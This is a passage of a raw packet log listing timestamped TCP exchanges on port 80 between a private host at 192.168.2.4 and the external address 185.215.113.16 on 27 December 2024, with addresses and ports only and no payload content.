Dec 27, 2024 08:45:18.497153044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.497209072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.497256994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.497997046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.498111010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.498152971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.499161005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.499262094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.499301910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.499855995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.499999046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.500044107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.500782013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.500940084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.500987053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.501718998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.501835108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.501877069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.502640009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.502752066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.502801895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.503588915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.503693104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.503731012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.504297018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.504518032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.504642010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.504681110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.505470037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.505516052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.505557060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.506371975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.506484985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.506530046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.507294893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.507457018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.507493973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.508225918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.508323908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.508361101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.509186029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.509274006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.509318113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.510085106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.510150909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.510277033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.511027098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.511107922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.511212111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.511924028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.553376913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.688079119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.688178062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.688368082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.688457966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.688508987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.688563108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.689404964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.689495087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.689534903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.690409899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.690541983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.690589905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.691253901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.691374063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.691414118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.692199945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.692320108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.692361116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.693108082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.693212032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.693254948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.694063902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.694091082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.694130898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.694979906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.695072889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.695111990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.695957899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.696023941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.696063042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.696824074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.696937084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.696978092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.697815895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.697829008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.697869062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.698717117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.698787928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.698818922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.699620008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.699733019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.699773073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.700614929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.700722933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.700783968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.701476097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.701620102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.701661110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.702418089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.702550888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.702589989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.703351974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.703460932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.703496933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.704282999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.704391003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.704431057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.705194950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.705296993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.705341101 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.706187010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.706315994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.706355095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.707053900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.707165003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.707201958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.708005905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.708089113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.708131075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.708919048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.709033012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.709074020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.709844112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.709954977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.709994078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.710791111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.710895061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.710938931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.711755991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.711822987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.711862087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.712738037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.712814093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.712853909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.713573933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.713696957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.713737965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.714500904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.714621067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.714664936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.715415001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.715532064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.715567112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.716351032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.716475964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.716517925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.717303038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.717401981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.717437983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.718218088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.718333006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.718368053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.719192028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.719336987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.719378948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.720082045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.720201969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.720242023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.721008062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.721118927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.721158028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.721998930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.722090006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.722134113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.722897053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.722978115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.723020077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.723803997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.723927021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.723965883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.724730015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.724869013 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.724909067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.725661039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.725792885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.725830078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.726588964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.726708889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.726764917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.727505922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.727650881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.727686882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.728446960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.728600025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.728645086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.729384899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.729494095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.729532003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.730294943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.730401993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.730442047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.731242895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.731354952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.731398106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.732273102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.732330084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.732379913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.733099937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.733244896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.733283997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.734040022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.734127045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.734164953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.734972000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.735055923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.735090971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.735905886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.735999107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.736032963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.736773014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.787709951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.889738083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.889760017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.889839888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.890201092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.890386105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.890434980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.891083002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.891134024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.891186953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.892009974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.892113924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.892158031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.892951965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.893058062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.893101931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.893929958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.893974066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.894012928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.894829035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.894928932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.894969940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.895714045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.895829916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.895868063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.896672964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.896766901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.896816969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.897613049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.897702932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.897744894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.898566961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.898647070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.898684025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.899475098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.899579048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.899616003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.900399923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.900502920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.900548935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.901422977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.901493073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.901530027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.902261019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.902352095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.902395964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.903168917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.903285980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.903325081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.904160023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.904198885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.904237032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.905045033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.905178070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.905216932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.905961990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.906076908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.906111002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.906913042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.907042027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.907087088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.907814026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.907952070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.907994032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.908807039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.908902884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.908943892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.909693003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.909801960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.909845114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.910621881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.910723925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.910765886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.911577940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.911719084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.911756039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.912487030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.912574053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.912614107 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.913410902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.913532972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.913582087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.914377928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.914490938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.914525986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.915261984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.915410042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.915446997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.916347027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.916440010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.916486025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.917121887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.917244911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.917279959 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.918070078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.918204069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.918241978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.919053078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.919322968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.919357061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.920099020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.920165062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.920211077 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.920874119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.920996904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.921046972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.921823978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.921880960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.921920061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.922708035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.922811031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.922847033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.923630953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.923741102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.923778057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.924643040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.924701929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.924746990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.925487041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.925596952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.925633907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.926424026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.926518917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.926558018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.927350044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.927465916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.927505970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:18.928280115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:18.928431034 CET	80	49744	185.215.113.16	192.168.2.4
